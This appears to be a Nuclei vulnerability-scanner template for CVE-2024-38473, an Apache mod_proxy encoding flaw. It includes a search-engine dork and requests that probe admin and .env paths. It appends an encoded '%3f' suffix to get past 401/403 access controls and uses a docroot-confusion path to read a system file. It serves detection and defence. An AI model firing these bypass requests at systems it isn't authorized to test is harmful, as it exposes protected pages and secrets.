Description
Encoding problem in mod_proxy in Apache HTTP Server 2.4.59 and earlier allows request URLs with incorrect encoding to be sent to backend services, potentially bypassing authentication via crafted requests.
Encoding problem in mod_proxy in Apache HTTP Server 2.4.59 and earlier allows request URLs with incorrect encoding to be sent to backend services, potentially bypassing authentication via crafted requests.
id: CVE-2024-38473
info:
name: Apache HTTP Server - ACL Bypass
author: pdteam
severity: high
description: |
Encoding problem in mod_proxy in Apache HTTP Server 2.4.59 and earlier allows request URLs with incorrect encoding to be sent to backend services, potentially bypassing authentication via crafted requests.
impact: |
Authenticated attackers can bypass ACL restrictions by crafting requests with incorrect encoding, potentially accessing protected backend services or resources that should be restricted by authentication mechanisms.
remediation: |
Upgrade to Apache HTTP Server version 2.4.60 or later.
reference:
- https://blog.orange.tw/2024/08/confusion-attacks-en.html#%E2%9A%94%EF%B8%8F-Primitive-1-2-ACL-Bypass
- https://www.cvedetails.com/cve/CVE-2024-38473/
- https://nvd.nist.gov/vuln/detail/CVE-2024-38473
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://security.netapp.com/advisory/ntap-20240712-0001/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
cvss-score: 8.1
cve-id: CVE-2024-38473
cwe-id: CWE-116
epss-score: 0.25878
epss-percentile: 0.9787
cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*,cpe:2.3:a:apache:httpd:*:*:*:*:*:*:*:*
metadata:
max-request: 10
vendor: Apache Software Foundation
product: Apache HTTP Server
google-query: intitle:"Apache HTTP Server" inurl:"/server-status"
tags: cve,cve2024,apache,acl-bypass,mod_proxy,php-fpm,vuln
flow: |
http(1) && http(2)
http(3)
http:
# Path normalization ACL bypass
- method: GET
path:
- "{{BaseURL}}/{{files}}"
payloads:
files:
- admin.php
- adminer.php
- xmlrpc.php
- .env
- admin.php
- php-info.php
- php_info.php
- phpinfo.php
- info.php
- adminer.php
- xmlrpc.php
- bin/cron.php
- cache/index.tpl.php
- cpanel.php
stop-at-first-match: true
matchers:
- type: status
status:
- 403
- 401
internal: true
- method: GET
path:
- "{{BaseURL}}/{{http_1_files}}%3ftest.php"
matchers:
- type: status
status:
- 200
# docroot confusion
- method: GET
path:
- "{{BaseURL}}/html/usr/share/doc/hostname/copyright%3f"
matchers:
- type: word
words:
- "On Debian systems, the complete text of the GNU General Public License"
- "This package was written by Peter Tobias"
condition: and
# digest: 4a0a00473045022100805f6bcc59d5c8554c65c31cb3adcaf10c9420b300ee366e443b6930e9057c7f0220360ac56ca407a34739d34f5c9d18209ba9dc28aa52fbefaa1b32104ca0f58e2c:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.